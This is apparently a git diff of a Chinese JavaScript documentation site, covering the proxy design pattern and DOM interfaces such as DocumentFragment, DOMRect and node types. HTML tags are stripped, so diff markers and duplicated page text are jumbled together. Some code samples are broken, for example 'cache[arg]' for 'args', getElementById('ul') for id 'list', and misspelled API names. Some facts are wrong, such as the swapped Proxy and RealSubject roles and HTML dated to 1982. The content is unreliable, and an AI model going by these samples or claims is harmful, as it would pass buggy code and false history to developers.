                                              代理模式(Proxy Pattern) 是指为一个原对象找一个代理对象,以便对原对象进行访问。即在访问者与目标对象之间加一层代理,通过代理做授权和控制。代理模式的英文叫做 Proxy 或 Surrogate,它是一种对象结构型模式。

                                              最常见的例子就是经纪人代理明星业务,假设你作为投资人,想联系明星打广告,那么你就需要先经过代理经纪人,经纪人对你的资质进行考察,并为你进行排期,替明星过滤不必要的信息。

                                              事件委托/代理、jQuery 的 $.proxy、ES6 的 proxy 都是这一模式的实现。

                                              代理模式又分为 静态代理动态代理

                                              • 静态代理 是由程序员创建或特定工具自动生成源代码,再对其编译。在程序运行前,代理类的 .class 文件就已经存在了。
                                              • 动态代理 是在程序运行时,通过运用反射机制动态的创建而成。

                                              模式结构

                                              代理模式包含如下角色:

                                              • Subject(抽象主题角色):声明了目标对象和代理对象的共同接口,这样一来在任何可以使用目标对象的地方都可以使用代理对象。
                                              • Proxy(代理主题角色):也称为委托角色或者被代理角色。定义了代理对象所代表的目标对象。
                                              • RealSubject(真实主题角色):也叫委托类、代理类。代理对象内部含有目标对象的引用,从而可以在任何时候操作目标对象;代理对象提供一个与目标对象相同的接口,以便可以在任何时候替代目标对象。代理对象通常在客户端调用传递给目标对象之前或之后,执行某个操作,而不是单纯地将调用传递给目标对象。

                                              优点和缺点

                                              代理模式的优点

                                              • 代理模式能够协调调用者和被调用者,在一定程度上降低了系统的耦合度。
                                              • 远程代理使得客户端可以访问在远程机器上的对象,远程机器可能具有更好的计算性能与处理速度,可以快速响应并处理客户端请求。
                                              • 虚拟代理通过使用一个小对象来代表一个大对象,可以减少系统资源的消耗,对系统进行优化并提高运行速度。
                                              • 保护代理可以控制对真实对象的使用权限。

                                              代理模式的缺点

                                              • 由于在客户端和真实主题之间增加了代理对象,因此有些类型的代理模式可能会造成请求的处理速度变慢。
                                              • 实现代理模式需要额外的工作,有些代理模式的实现非常复杂。

                                              实践应用

                                              图片预加载

                                              虚拟代理:作为创建开销大的对象的代表;虚拟代理经常直到我们真正需要一个对象的时候才创建它;当对象在创建或创建中时,由虚拟代理来扮演对象的替身;对象创建后,代理就会将请求直接委托给对象。

                                              const image = (function () {
                                              const imgNode = document.createElement('img');
                                              document.body.appendChild(imgNode);
                                              return {
                                              setSrc: function (src) {
                                              imgNode.src = src;
                                              },
                                              };
                                              })();
                                              // 代理容器
                                              const proxyImage = (function () {
                                              let img = new Image();
                                              @@ -39,12 +42,12 @@
                                              // proxyMult
                                              const proxyMult = (function () {
                                              let cache = {};
                                              return function () {
                                              let args = Array.prototype.join.call(arguments, ',');
                                              if (args in cache) {
                                              return cache[args];
                                              }
                                              return (cache[arg] = mult.apply(this, arguments));
                                              };
                                              })();
                                              -
                                              proxyMult(1, 2, 3); // 6
                                              proxyMult(1, 2, 3); // 6
                                              +
                                              proxyMult(1, 2, 3); // 6
                                              proxyMult(1, 2, 3); // 6
                                              - + diff --git a/document-object-model/cssom/css-style-declaration/index.html b/document-object-model/cssom/css-style-declaration/index.html index 6ecb8b9df..2820bd528 100644 --- a/document-object-model/cssom/css-style-declaration/index.html +++ b/document-object-model/cssom/css-style-declaration/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + CSSStyleDeclaration - JavaScript Guidebook -

                                              CSSStyleDeclaration

                                              CSSStyleDeclartion 接口表示一个对象,它是一个 CSS 声明块,CSS 属性键值对的集合。它暴露了样式信息和各种与样式相关的方法和属性。

                                              暴露于以下三种 API 中:

                                              • HTMLElement.style
                                              • CSSStyleSheet
                                              • window.getComputedStyle

                                              参考资料

                                              +

                                              CSSStyleDeclaration

                                              CSSStyleDeclartion 接口表示一个对象,它是一个 CSS 声明块,CSS 属性键值对的集合。它暴露了样式信息和各种与样式相关的方法和属性。

                                              暴露于以下三种 API 中:

                                              • HTMLElement.style
                                              • CSSStyleSheet
                                              • window.getComputedStyle

                                              参考资料

                                              - + diff --git a/document-object-model/cssom/css-style-sheet/index.html b/document-object-model/cssom/css-style-sheet/index.html index 2e52e3a86..e97af93af 100644 --- a/document-object-model/cssom/css-style-sheet/index.html +++ b/document-object-model/cssom/css-style-sheet/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + CSSstyleSheet - JavaScript Guidebook -
                                              +
                                              - + diff --git a/document-object-model/cssom/index.html b/document-object-model/cssom/index.html index 5dfdac3cd..14bb78eb1 100644 --- a/document-object-model/cssom/index.html +++ b/document-object-model/cssom/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/document-object-model/document/document-fragment/index.html b/document-object-model/document/document-fragment/index.html index a993d879e..d4295b343 100644 --- a/document-object-model/document/document-fragment/index.html +++ b/document-object-model/document/document-fragment/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

                                                DocumentFragment

                                                DocumentFragment(文档片段接口)一个没有父对象的最小文档对象。

                                                我们经常使用 JavaScript 进行 DOM 操作,比如像页面中插入元素,每次插入元素的时候,浏览器都会发生重绘,都需要重新渲染页面,如果做大量这样的操作,非常影响性能,影响用户体验。

                                                我们知道每一次插入都会引起重新渲染(计算元素的尺寸,显示内容等),会重新重绘页面,因此会影响性能的,我们最常见还有一种方法是将创建的元素写到一个字符串上,然后一次性写到 innerHTML 上,这种使用浏览器对 innerHTML 的解析比上面多次插入快很多,但是构造字符串灵活性比较差,很难符合创建各种各样的 DOM 元素。

                                                但是使用 DocumentFragment,可以弥补上面两种方法的不足。DocumentFragment 是没有父节点的最小文档对象,常用于存储 HTML 和 XML 文档,它继承了 Node,因此它有 Node 的所有属性和方法,完全可以操作 Node 那样操作 DocumentFragment。

                                                DocumentFragment 文档片段是存在于内存中的,没有在 DOM 中,所以将子元素插入到文档片段中不会引起页面回流,因此使用 DocumentFragment 可以起到 性能优化 作用。

                                                // 创建文档片段
                                                const frag = Document.createDocumentFragment()
                                                // DocumentFragment 实际上像一个伪 DOM 节点
                                                for (let i = 0; i < 10; i++) {
                                                const li = document.createElement('li');
                                                li.innerHTML = 'List item' + i;
                                                frag.appendChild(li);
                                                }
                                                -
                                                // 往 DocumentFragment 中添加元素与操作普通 DOM 节点一样
                                                // 一旦页面 DOM 加载完成,就可以访问了
                                                listNode.appendChild(frag);

                                                参考资料:

                                                +
                                                // 往 DocumentFragment 中添加元素与操作普通 DOM 节点一样
                                                // 一旦页面 DOM 加载完成,就可以访问了
                                                listNode.appendChild(frag);

                                                参考资料:

                                                - + diff --git a/document-object-model/document/document-methods/index.html b/document-object-model/document/document-methods/index.html index 17d9cd750..73c95c67b 100644 --- a/document-object-model/document/document-methods/index.html +++ b/document-object-model/document/document-methods/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -56,12 +59,12 @@
                                                node.setAttribute(att);
                                                console.log(node.getAttribute('name'));
                                                // newValue

                                                createDocumentFragment

                                                创建一个新的空白的文档片段 DocumentFragments。

                                                DocumentFragments 是 DOM 节点。它们不是主 DOM 树的一部分。通常的用例是创建文档片段,将元素附加到文档片段,然后将文档片段附加到 DOM 树。在 DOM 树中,文档片段被其所有的子元素所代替。

                                                因为文档片段存在于内存中,并不在 DOM 树中,所以将子元素插入到文档片段时不会引起页面回流(对元素位置和几何上的计算)。因此,使用文档片段通常会带来更好的性能。

                                                🌰 示例:

                                                <ul id="list"></ul>
                                                <script type="text/javascript">
                                                const list = document.getElementById('ul');
                                                const fragment = document.createDocumentFragment();
                                                const browsers = ['Firefox', 'Chrome', 'Opera', 'Safari', 'Internet Explorer'];
                                                browsers.forEach(function (browser) {
                                                const li = document.createElement('li');
                                                li.textContent = browser;
                                                fragment.appendChild(li);
                                                });
                                                -
                                                list.appendChild(fragment);
                                                </script>

                                                文档对象方法总结

                                                在 DOM 中获取元素(或节点)的五种常用的方法:

                                                方法参数是否调用一个元素是否动态
                                                document.getElementByIdid
                                                document.getElementByNamename
                                                document.getElmentByTagNametag 或 *
                                                document.getElmentByClassNameclassName
                                                document.querySelectorCSS Selector
                                                document.querySelectorAllCSS Selector

                                                getElementByIdgetElementByName,其它方法均可以在指定元素上搜索指定的选择器。

                                                除此之外:


                                                参考资料:

                                                +
                                                list.appendChild(fragment);
                                                </script>

                                                文档对象方法总结

                                                在 DOM 中获取元素(或节点)的五种常用的方法:

                                                方法参数是否调用一个元素是否动态
                                                document.getElementByIdid
                                                document.getElementByNamename
                                                document.getElmentByTagNametag 或 *
                                                document.getElmentByClassNameclassName
                                                document.querySelectorCSS Selector
                                                document.querySelectorAllCSS Selector

                                                getElementByIdgetElementByName,其它方法均可以在指定元素上搜索指定的选择器。

                                                除此之外:


                                                参考资料:

                                                - + diff --git a/document-object-model/document/document-properties/index.html b/document-object-model/document/document-properties/index.html index dea2c5072..5dd97d684 100644 --- a/document-object-model/document/document-properties/index.html +++ b/document-object-model/document/document-properties/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -39,12 +42,12 @@
                                                console.log(time);
                                                // 09/19/2020 05:09:31

                                                其他属性

                                                // 获取当前文档的所有表单元素
                                                document.formas;
                                                // 获取当前文档中所有嵌入对象
                                                document.embeds;
                                                // 获取当前文档最后修改的时间戳
                                                document.lastModified;
                                                -
                                                // 控制当前文档是否可编辑
                                                document.designMode;
                                                +
                                                // 控制当前文档是否可编辑
                                                document.designMode;
                                                - + diff --git a/document-object-model/document/document/index.html b/document-object-model/document/document/index.html index 0deefc1d7..2e535d19b 100644 --- a/document-object-model/document/document/index.html +++ b/document-object-model/document/document/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Document - JavaScript Guidebook -

                                                  Document

                                                  Document 接口表示任何在浏览器中载入的网页,并作为网页内容的入口,也就是 DOM 树。DOM 树包含了像 <body><table> 这样的元素,以及大量其他元素。它向网页文档本身提供了全局操作功能,能解决如何获取页面的 URL ,如何在文档中创建一个新的元素这样的问题。

                                                  EventTarget <- Node <- Document

                                                  Document 接口描述了任何类型的文档的通用属性与方法。根据不同的文档类型(例如 HTML、XML、SVG 等等),还能使用更多 API:使用 "text/html" 作为内容类型(content type)的 HTML 文档,还实现了 HTMLDocument 接口,而 XML 和 SVG 文档则(额外)实现了 XMLDocument 接口。

                                                  +

                                                    Document

                                                    Document 接口表示任何在浏览器中载入的网页,并作为网页内容的入口,也就是 DOM 树。DOM 树包含了像 <body><table> 这样的元素,以及大量其他元素。它向网页文档本身提供了全局操作功能,能解决如何获取页面的 URL ,如何在文档中创建一个新的元素这样的问题。

                                                    EventTarget <- Node <- Document

                                                    Document 接口描述了任何类型的文档的通用属性与方法。根据不同的文档类型(例如 HTML、XML、SVG 等等),还能使用更多 API:使用 "text/html" 作为内容类型(content type)的 HTML 文档,还实现了 HTMLDocument 接口,而 XML 和 SVG 文档则(额外)实现了 XMLDocument 接口。

                                                    - + diff --git a/document-object-model/document/index.html b/document-object-model/document/index.html index 4a63bb200..1ceef8d52 100644 --- a/document-object-model/document/index.html +++ b/document-object-model/document/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/document-object-model/dom/audio-context/index.html b/document-object-model/dom/audio-context/index.html index f39a61131..aa9130f13 100644 --- a/document-object-model/dom/audio-context/index.html +++ b/document-object-model/dom/audio-context/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + AudioContext - JavaScript Guidebook -
                                                    +
                                                    - + diff --git a/document-object-model/dom/dom-rect/index.html b/document-object-model/dom/dom-rect/index.html index 112a4c246..fbdd80c21 100644 --- a/document-object-model/dom/dom-rect/index.html +++ b/document-object-model/dom/dom-rect/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + DOMRect - JavaScript Guidebook -

                                                    DOMRect

                                                    DOMRect 表示的盒子的类型由返回它的方法或属性指定。例如,WebVR API 的 VREyeParameters.renderRect 指定了头戴式显示器的一只眼睛应该呈现的影像所在的 Canvas 的视口。

                                                    它继承自它的父类,DOMRectReadOnly。

                                                    DOMRectReadOnly <- DOMRect

                                                    接口属性

                                                    DOMRect.x

                                                    矩形盒子原点的 x 坐标。

                                                    DOMRect.y

                                                    矩形盒子原点的 y 坐标。

                                                    DOMRect.width

                                                    矩形盒子自身的宽度。

                                                    DOMRect.height

                                                    矩形盒子自身的高度。

                                                    DOMRect.top

                                                    矩形盒子顶坐标值(与 y 同值,如果 height 为负值,则为 y + height 的值)。

                                                    DOMRect.right

                                                    矩形盒子右坐标值(与 x + width 同值,如果 width 为负值,则为 x 的值)。

                                                    DOMRect.bottom

                                                    矩形盒子底坐标值(与 y + height 同值,如果 height 为负值,则为 y 的值)。

                                                    DOMRect.left

                                                    矩形盒子右坐标值(与 x 同值,如果 width 为负值,则为 x + width 的值)。

                                                    +

                                                    DOMRect

                                                    DOMRect 表示的盒子的类型由返回它的方法或属性指定。例如,WebVR API 的 VREyeParameters.renderRect 指定了头戴式显示器的一只眼睛应该呈现的影像所在的 Canvas 的视口。

                                                    它继承自它的父类,DOMRectReadOnly。

                                                    DOMRectReadOnly <- DOMRect

                                                    接口属性

                                                    DOMRect.x

                                                    矩形盒子原点的 x 坐标。

                                                    DOMRect.y

                                                    矩形盒子原点的 y 坐标。

                                                    DOMRect.width

                                                    矩形盒子自身的宽度。

                                                    DOMRect.height

                                                    矩形盒子自身的高度。

                                                    DOMRect.top

                                                    矩形盒子顶坐标值(与 y 同值,如果 height 为负值,则为 y + height 的值)。

                                                    DOMRect.right

                                                    矩形盒子右坐标值(与 x + width 同值,如果 width 为负值,则为 x 的值)。

                                                    DOMRect.bottom

                                                    矩形盒子底坐标值(与 y + height 同值,如果 height 为负值,则为 y 的值)。

                                                    DOMRect.left

                                                    矩形盒子右坐标值(与 x 同值,如果 width 为负值,则为 x + width 的值)。

                                                    - + diff --git a/document-object-model/dom/dom/index.html b/document-object-model/dom/dom/index.html index eaca99229..2a5e0bc00 100644 --- a/document-object-model/dom/dom/index.html +++ b/document-object-model/dom/dom/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 文档对象模型 - JavaScript Guidebook -

                                                    文档对象模型

                                                    文档对象模型(Document Object Model,简称 DOM),是 W3C 组织推荐的处理可扩展置标语言的标准编程接口。DOM 把整个页面映射为一个多层的节点结构,HTML 或 XML 页面中的每个组成部分都是某种类型的节点,这些节点又包含着不同类型的数据。

                                                    W3C DOM 由以下三部分组成:

                                                    • 核心 DOM - 针对任何结构化文档的标准模型
                                                    • XML DOM - 针对 XML 文档的标准模型
                                                    • HTML DOM - 针对 HTML 文档的标准模型

                                                    通过 DOM 接口,应用程序可以在任何时候访问文档中的任何一部分数据,因此,这种利用 DOM 接口的机制也被称作随机访问机制。

                                                    DOM 级别

                                                    DOM0

                                                    DOM0(即第 0 级 DOM),实际上指的是未形成标准的试验性质的初级阶段的 DOM。由于 DOM0 在 W3C 进行标准备化之前出现,还处于未形成标准的初期阶段,这时 Netscape 和 Microsoft 各自推出自己的第四代浏览器,自此 DOM 便开始出现各种问题。

                                                    DHTML

                                                    DHTML 是 Dynamic HTML(动态 HTML)的简称。DHTML 并不是一项新技术,而是将 HTML、CSS、JavaScript 技术组合的一种描述。即:

                                                    • 利用 HTML 把网页标记为各种元素
                                                    • 利用 CSS 设置元素样式及其显示位置
                                                    • 利用 JavaScript 操控页面元素和样式

                                                    利用 DHTML,看起来可以很容易的控制页面元素,并实现原本很复杂的效果(如:通过改变元素位置实现动画)。但事实并非如此,因为没有规范和标准,两种浏览器对相同功能的实现的确完全不一样。为了保持程序的兼容性,程序员必须写一些探查代码以检测 JavaScript 是运行于哪种浏览器之下,并提供与之对应的脚本。JavaScript 陷入了前所未有的混乱,DHTML 也因此在人们心中留下了很差的印象。

                                                    DOM1

                                                    在浏览器厂商进行浏览器大战的同时,W3C 结合各厂商的优点推出了一个标准化的 DOM,并于 1998 年 10 月完成了第一级 DOM,即:DOM1。W3C 将 DOM 定义为一个与平台和编程语言无关的接口,通过这个接口程序和脚本可以动态的访问和修改文档的内容、结构和样式。

                                                    DOM1 级主要定义了 HTML 和 XML 文档的底层结构。在 DOM1 中,DOM 由两个模块组成:

                                                    • DOM Core(DOM 核心):规定了基于 XML 的文档结构标准,通过这个标准简化了对文档中任意部分的访问和操作。
                                                    • DOM HTML:则在 DOM 核心的基础上加以扩展,添加了针对 HTML 的对象和方法,如:JavaScript 中的 Document 对象。

                                                    DOM2

                                                    在 DOM1 的基础上 DOM2 引入了更多的交互能力,也支持了更高级的 XML 特性。DOM2 将 DOM 分为更多具有联系的模块。DOM2 级在原来 DOM 的基础上又扩充了鼠标、用户界面事件、范围、遍历等细分模块,而且通过对象接口增加了对 CSS 的支持。DOM1 级中的 DOM 核心模块也经过扩展开始支持 XML 命名空间。在 DOM2 中引入了下列模块,在模块包含了众多新类型和新接口:

                                                    • DOM 视图(DOM Views):定义了跟踪不同文档视图的接口
                                                    • DOM 事件(DOM Events):定义了事件和事件处理的接口
                                                    • DOM 样式(DOM Style):定义了基于 CSS 为元素应用样式的接口
                                                    • DOM 遍历和范围(DOM Traversal and Range):定义了遍历和操作文档树的接口

                                                    DOM3

                                                    DOM3 级:进一步扩展了 DOM,引入了以统一方式加载和保存文档的方法,它在 DOM Load And Save 这个模块中定义;同时新增了验证文档的方法,是在 DOM Validation 这个模块中定义的。 DOM3 进一步扩展了 DOM,在 DOM3 中引入了以下模块:

                                                    • DOM 加载和保存模块(DOM Load and Save):引入了以统一方式加载和保存文档的方法
                                                    • DOM 验证模块(DOM Validation):定义了验证文档的方法
                                                    • DOM 核心的扩展(DOM Style):支持 XML 1.0 规范,涉及 XML Infoset、XPath 和 XML Base

                                                    文档类型

                                                    我们说 DOM 文档对象模型是从文档中抽象出来的,DOM 操作的对象也是文档,因此我们有必要了解一下文档的类型。文档随着历史的发展演变为多种类型,如下:

                                                    文档类型发展史

                                                    GML

                                                    GML(Generalized Markup Language,通用标记语言)是 1960 年代的一种 IBM 文档格式化语言,用于描述文档的组织结构、各部件及其相互关系。GML 在文档具体格式方面,为文档员提供了一些方便,他们不必再为 IBM 的打印机格式化语言 SCRIPT 要求的字体规范、行距以及页面设计等浪费精力。这个 IBM 的 GML 包括 1960 年代的 GML 和 1980 年代的 ISIL。

                                                    SGML

                                                    SGML(Standard Generalized Markup Language,标准通用标记语言)是 1986 年基于 IBM 的 GML 制定 ISO 标准(ISO 8879)。SGML 是现时常用的超文本格式的最高层次标准,是可以定义标记语言的元语言,甚至可以定义不必采用 "<>" 的常规方式。由于 SGML 的复杂,因而难以普及。HTML 和 XML 同样衍生于 SGML,XML 可以被认为是 SGML 的一个子集,而 HTML 是 SGML 的一个应用。

                                                    HTML

                                                    HTML(HyperText Markup Language,超文本标记语言)是为“网页创建和其它可在网页浏览器中看到的信息”设计的一种标记语言。HTML 被用来结构化信息——例如标题、段落和列表等等,也可用来在一定程度上描述文档的外观和语义。1982 年,蒂姆·伯纳斯-李为使世界各地的物理学家能够方便的进行合作研究,创建了使用于其系统的 HTML。之后 HTML 又不断地扩充和发展,成为国际标准,由万维网联盟(W3C)维护。第一个正式标准是 1995 年发布的 RFC 1866(HTML 2.0)。

                                                    XML

                                                    XML(eXtensible Markup Language,可扩展标记语言)是专家们使用 SGML 精简制作,并依照 HTML 的发展经验,产生出一套使用上规则严谨,但是简单的描述数据语言。XML 在 1995 年开始有雏形,在 1998 二月发布为 W3C 的标准(XML1.0)

                                                    XHTML

                                                    XHTML(eXtensible HyperText Markup Language,可扩展超文本标记语言)的表现方式与超文本标记语言(HTML)类似,不过语法上更加严格。从继承关系上讲,HTML 是一种基于标准通用标记语言(SGML)的应用,是一种非常灵活的置标语言,而 XHTML 则基于可扩展标记语言(XML),XML 是 SGML 的一个子集。XHTML 1.0 在 2000 年 1 月 26 日成为 W3C 的推荐标准。


                                                    参考资料:

                                                    +

                                                    文档对象模型

                                                    文档对象模型(Document Object Model,简称 DOM),是 W3C 组织推荐的处理可扩展置标语言的标准编程接口。DOM 把整个页面映射为一个多层的节点结构,HTML 或 XML 页面中的每个组成部分都是某种类型的节点,这些节点又包含着不同类型的数据。

                                                    W3C DOM 由以下三部分组成:

                                                    • 核心 DOM - 针对任何结构化文档的标准模型
                                                    • XML DOM - 针对 XML 文档的标准模型
                                                    • HTML DOM - 针对 HTML 文档的标准模型

                                                    通过 DOM 接口,应用程序可以在任何时候访问文档中的任何一部分数据,因此,这种利用 DOM 接口的机制也被称作随机访问机制。

                                                    DOM 级别

                                                    DOM0

                                                    DOM0(即第 0 级 DOM),实际上指的是未形成标准的试验性质的初级阶段的 DOM。由于 DOM0 在 W3C 进行标准备化之前出现,还处于未形成标准的初期阶段,这时 Netscape 和 Microsoft 各自推出自己的第四代浏览器,自此 DOM 便开始出现各种问题。

                                                    DHTML

                                                    DHTML 是 Dynamic HTML(动态 HTML)的简称。DHTML 并不是一项新技术,而是将 HTML、CSS、JavaScript 技术组合的一种描述。即:

                                                    • 利用 HTML 把网页标记为各种元素
                                                    • 利用 CSS 设置元素样式及其显示位置
                                                    • 利用 JavaScript 操控页面元素和样式

                                                    利用 DHTML,看起来可以很容易的控制页面元素,并实现原本很复杂的效果(如:通过改变元素位置实现动画)。但事实并非如此,因为没有规范和标准,两种浏览器对相同功能的实现的确完全不一样。为了保持程序的兼容性,程序员必须写一些探查代码以检测 JavaScript 是运行于哪种浏览器之下,并提供与之对应的脚本。JavaScript 陷入了前所未有的混乱,DHTML 也因此在人们心中留下了很差的印象。

                                                    DOM1

                                                    在浏览器厂商进行浏览器大战的同时,W3C 结合各厂商的优点推出了一个标准化的 DOM,并于 1998 年 10 月完成了第一级 DOM,即:DOM1。W3C 将 DOM 定义为一个与平台和编程语言无关的接口,通过这个接口程序和脚本可以动态的访问和修改文档的内容、结构和样式。

                                                    DOM1 级主要定义了 HTML 和 XML 文档的底层结构。在 DOM1 中,DOM 由两个模块组成:

                                                    • DOM Core(DOM 核心):规定了基于 XML 的文档结构标准,通过这个标准简化了对文档中任意部分的访问和操作。
                                                    • DOM HTML:则在 DOM 核心的基础上加以扩展,添加了针对 HTML 的对象和方法,如:JavaScript 中的 Document 对象。

                                                    DOM2

                                                    在 DOM1 的基础上 DOM2 引入了更多的交互能力,也支持了更高级的 XML 特性。DOM2 将 DOM 分为更多具有联系的模块。DOM2 级在原来 DOM 的基础上又扩充了鼠标、用户界面事件、范围、遍历等细分模块,而且通过对象接口增加了对 CSS 的支持。DOM1 级中的 DOM 核心模块也经过扩展开始支持 XML 命名空间。在 DOM2 中引入了下列模块,在模块包含了众多新类型和新接口:

                                                    • DOM 视图(DOM Views):定义了跟踪不同文档视图的接口
                                                    • DOM 事件(DOM Events):定义了事件和事件处理的接口
                                                    • DOM 样式(DOM Style):定义了基于 CSS 为元素应用样式的接口
                                                    • DOM 遍历和范围(DOM Traversal and Range):定义了遍历和操作文档树的接口

                                                    DOM3

                                                    DOM3 级:进一步扩展了 DOM,引入了以统一方式加载和保存文档的方法,它在 DOM Load And Save 这个模块中定义;同时新增了验证文档的方法,是在 DOM Validation 这个模块中定义的。 DOM3 进一步扩展了 DOM,在 DOM3 中引入了以下模块:

                                                    • DOM 加载和保存模块(DOM Load and Save):引入了以统一方式加载和保存文档的方法
                                                    • DOM 验证模块(DOM Validation):定义了验证文档的方法
                                                    • DOM 核心的扩展(DOM Style):支持 XML 1.0 规范,涉及 XML Infoset、XPath 和 XML Base

                                                    文档类型

                                                    我们说 DOM 文档对象模型是从文档中抽象出来的,DOM 操作的对象也是文档,因此我们有必要了解一下文档的类型。文档随着历史的发展演变为多种类型,如下:

                                                    文档类型发展史

                                                    GML

                                                    GML(Generalized Markup Language,通用标记语言)是 1960 年代的一种 IBM 文档格式化语言,用于描述文档的组织结构、各部件及其相互关系。GML 在文档具体格式方面,为文档员提供了一些方便,他们不必再为 IBM 的打印机格式化语言 SCRIPT 要求的字体规范、行距以及页面设计等浪费精力。这个 IBM 的 GML 包括 1960 年代的 GML 和 1980 年代的 ISIL。

                                                    SGML

                                                    SGML(Standard Generalized Markup Language,标准通用标记语言)是 1986 年基于 IBM 的 GML 制定 ISO 标准(ISO 8879)。SGML 是现时常用的超文本格式的最高层次标准,是可以定义标记语言的元语言,甚至可以定义不必采用 "<>" 的常规方式。由于 SGML 的复杂,因而难以普及。HTML 和 XML 同样衍生于 SGML,XML 可以被认为是 SGML 的一个子集,而 HTML 是 SGML 的一个应用。

                                                    HTML

                                                    HTML(HyperText Markup Language,超文本标记语言)是为“网页创建和其它可在网页浏览器中看到的信息”设计的一种标记语言。HTML 被用来结构化信息——例如标题、段落和列表等等,也可用来在一定程度上描述文档的外观和语义。1982 年,蒂姆·伯纳斯-李为使世界各地的物理学家能够方便的进行合作研究,创建了使用于其系统的 HTML。之后 HTML 又不断地扩充和发展,成为国际标准,由万维网联盟(W3C)维护。第一个正式标准是 1995 年发布的 RFC 1866(HTML 2.0)。

                                                    XML

                                                    XML(eXtensible Markup Language,可扩展标记语言)是专家们使用 SGML 精简制作,并依照 HTML 的发展经验,产生出一套使用上规则严谨,但是简单的描述数据语言。XML 在 1995 年开始有雏形,在 1998 二月发布为 W3C 的标准(XML1.0)

                                                    XHTML

                                                    XHTML(eXtensible HyperText Markup Language,可扩展超文本标记语言)的表现方式与超文本标记语言(HTML)类似,不过语法上更加严格。从继承关系上讲,HTML 是一种基于标准通用标记语言(SGML)的应用,是一种非常灵活的置标语言,而 XHTML 则基于可扩展标记语言(XML),XML 是 SGML 的一个子集。XHTML 1.0 在 2000 年 1 月 26 日成为 W3C 的推荐标准。


                                                    参考资料:

                                                    - + diff --git a/document-object-model/dom/event-target/index.html b/document-object-model/dom/event-target/index.html index 1f0834f50..405d1075a 100644 --- a/document-object-model/dom/event-target/index.html +++ b/document-object-model/dom/event-target/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -38,12 +41,12 @@
                                                    EventTarget.prototype.dispatchEvent = function(event) {
                                                    if (!(event.type in this.listeners)) {
                                                    return;
                                                    }
                                                    let stack = this.listeners[event.type];
                                                    event.target = this;
                                                    -
                                                    for (let i = 0, len = stack.length; i < len; i++) {
                                                    stack[i].call(this, event);
                                                    }
                                                    };

                                                    参考资料:

                                                    +
                                                    for (let i = 0, len = stack.length; i < len; i++) {
                                                    stack[i].call(this, event);
                                                    }
                                                    };

                                                    参考资料:

                                                    - + diff --git a/document-object-model/dom/global-attributes/index.html b/document-object-model/dom/global-attributes/index.html index 26fa09df6..0050aee9a 100644 --- a/document-object-model/dom/global-attributes/index.html +++ b/document-object-model/dom/global-attributes/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 全局属性 - JavaScript Guidebook -
                                                    +
                                                    - + diff --git a/document-object-model/dom/hierarchy-of-nodes/index.html b/document-object-model/dom/hierarchy-of-nodes/index.html index 2a0258777..b32085a01 100644 --- a/document-object-model/dom/hierarchy-of-nodes/index.html +++ b/document-object-model/dom/hierarchy-of-nodes/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 节点层次 - JavaScript Guidebook -

                                                    节点层次

                                                    DOM 可以将任何 HTML 描绘成一个由多层节点构成的结构。节点分为 12 种不同类型,每种类型分别表示文档中不同的信息及标记。每个节点都拥有各自的特点、数据和方法,也与其他节点存在某种关系。节点之间的关系构成了层次,而所有页面标记则表现为一个以特定节点为根节点的树形结构。

                                                    DOM结构

                                                    先看看下面代码:

                                                    <!DOCTYPE html>
                                                    <html>
                                                    <head>
                                                    <meta charset="utf-8" />
                                                    <title>DOM</title>
                                                    </head>
                                                    <body>
                                                    <h2><a href="https://github.com">javascript DOM</a></h2>
                                                    <p>对HTML元素进行操作,可添加、改变或移除css样式等</p>
                                                    <ul>
                                                    <li>JavaScript</li>
                                                    <li>DOM</li>
                                                    <li>CSS</li>
                                                    </ul>
                                                    </body>
                                                    </html>

                                                    将 HTML 代码分解为 DOM 节点层次图:

                                                    DOM结构图

                                                    HTML 文档可以说由节点构成的集合,DOM 节点由:

                                                    1. 元素节点:上图中 <html><body><p> 等都是元素节点,即标签
                                                    2. 文本节点:向用户展示的内容,如 <li>...</li> 中的 JavaScript、DOM、CSS 等文本
                                                    3. 属性节点:元素属性,如 <a> 标签的链接属性 href="https://github.com"

                                                    文档节点是每个文档的根节点。在这个例子中,文档节点只有一个字节点,即 <html> 元素,我们称之为文档元素。文档元素是文档的最外层元素,文档中的其他所有元素都包含在文档元素中。每个文档只能有一个文档元素。在 HTML 页面中,文档元素始终都是 <html>元素。在 XML 中,没有预定义的元素,因此任何元素都可能成为文档元素。

                                                    DOM 节点类型

                                                    每一段标记都可以通过树中的一个节点来表示: HTML 元素通过元素节点表示,特性(Attribute)通过特性节点表示,文档类型通过文档类型节点表示,而注释则通过注释节点表示。总共 12 种节点类型,这些类型都继承自一个基类型。

                                                    数值常量节点类型说明nodeNamenodeValue
                                                    1Element元素节点元素名null
